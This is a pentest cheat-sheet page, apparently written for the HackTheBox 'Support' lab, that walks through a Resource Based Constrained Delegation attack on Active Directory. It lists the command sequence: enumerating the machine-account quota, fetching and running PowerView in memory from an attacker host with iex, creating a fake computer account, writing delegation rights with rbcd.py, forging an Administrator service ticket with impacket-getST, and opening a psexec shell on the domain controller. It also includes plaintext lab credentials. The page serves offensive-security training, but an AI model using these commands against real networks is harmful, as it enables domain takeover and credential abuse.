# Resource Based Constrained Delegation

{% embed url="<https://hakin9.org/rbcd-attack-kerberos-resource-based-constrained-delegation-attack-from-outside-using-impacket>" %}

In a nutshell, through a Resource Based Constrained Delegation attack we can add a computer under our control to the domain.

The attack relies on three prerequisites:&#x20;

* We need a shell or code execution as a domain user that belongs to the Authenticated Users group. By default any member of this group can add up to 10 computers to the domain.&#x20;
* The ms-ds-machineaccountquota attribute needs to be higher than 0. This attribute controls the amount of computers that authenticated domain users can add to the domain.&#x20;
* A user or a group is a member of, needs to have WRITE privileges ( GenericAll , WriteDACL) over a domain joined computer (in this case the Domain Controller)

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FiT2ZGLerpqA5P8MANe5J%2Fimage.png?alt=media&#x26;token=fe86303d-0dd9-4a2e-9f18-abc44f55b750" alt=""><figcaption></figcaption></figure>

## Linux based Attack Commands

### Enumeration

{% code overflow="wrap" %}

```bash
# Check if MS-ds-machineaccountquota has more than 0
# If the output of the command below shows that this attribute is set to 10, this means each authenticated domain user can add up to 10 computers to the domain.

PS> Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota

# Verify that the msds-allowedtoactonbehalfofotheridentity attribute is empty. 

PS> iex (new-Object Net.WebClient).DownloadString('http://10.10.14.36/privesc/PowerView.ps1')|Import-Module PowerView.ps1

PS> Get-DomainComputer DC | select name, msds-allowedtoactonbehalfofotheridentity

# The following output shows that the value is empty. Now it is ready to attack. 
```

{% endcode %}

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2Fa98pofscWKHULkJxGh6u%2Fimage.png?alt=media&#x26;token=2dbae4d2-855d-46f5-b820-dc1ea805ffef" alt=""><figcaption></figcaption></figure>

### Exploitation&#x20;

1. **Download the tool.** <https://github.com/tothi/rbcd-attack/blob/master/rbcd.py>
2. **Creating a fake computer**

{% code overflow="wrap" %}

```bash
# Kali
addcomputer.py -computer-name 'EVILCOM$' -computer-pass password -dc-ip $RHOST support/support:Ironside47pleasure40Watchful
```

{% endcode %}

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FoLKZMZsoOaOK0OtaiP1q%2Fimage.png?alt=media&#x26;token=09be11e3-00ea-43f7-9393-c97c7b250074" alt=""><figcaption></figcaption></figure>

3. **Modifying delegation rights**

Implemented the script [rbcd.py](https://github.com/tothi/rbcd-attack/blob/master/rbcd.py) found here in the repo which adds the related security descriptor of the newly created EVILCOMPUTER to the `msDS-AllowedToActOnBehalfOfOtherIdentity` property of the target computer.

{% code overflow="wrap" %}

```bash
# Use the rbcd.py downloaded above 
./rbcd.py  -f EVILCOM -t DC -dc-ip $RHOST support\\support:Ironside47pleasure40Watchful
```

{% endcode %}

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FUZ5FsnNYIm5s0XvwNNWD%2Fimage.png?alt=media&#x26;token=af44320d-6b5b-4460-8424-10bad30a02e0" alt=""><figcaption></figcaption></figure>

4. Getting Impersonated Service Ticket

{% code overflow="wrap" %}

```bash
# Kali 
impacket-getST -spn cifs/DC.support.htb -impersonate Administrator -dc-ip $RHOST support/EVILCOM$:password
```

{% endcode %}

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FaaaWU1MUKko3zjLAxWFx%2Fimage.png?alt=media&#x26;token=368c7d88-d30b-4d81-af00-48674f88b910" alt=""><figcaption></figcaption></figure>

5. Injecting Ticket into memory&#x20;

```bash
# Kali
export KRB5CCNAME=./Administrator.ccache
Klist
```

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FJ5yOOPuDGN9Dasaj9Pnj%2Fimage.png?alt=media&#x26;token=0b9daa87-282c-46c5-9953-398c8da06421" alt=""><figcaption></figcaption></figure>

6. Running PSEXEC command.&#x20;

{% code overflow="wrap" %}

```bash
# Kali
 impacket-psexec -k DC.support.htb
```

{% endcode %}

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2F1CKNCtceaipXclu6A1CQ%2Fimage.png?alt=media&#x26;token=162cee4d-8064-489b-b04c-b9f0958b7475" alt=""><figcaption></figcaption></figure>
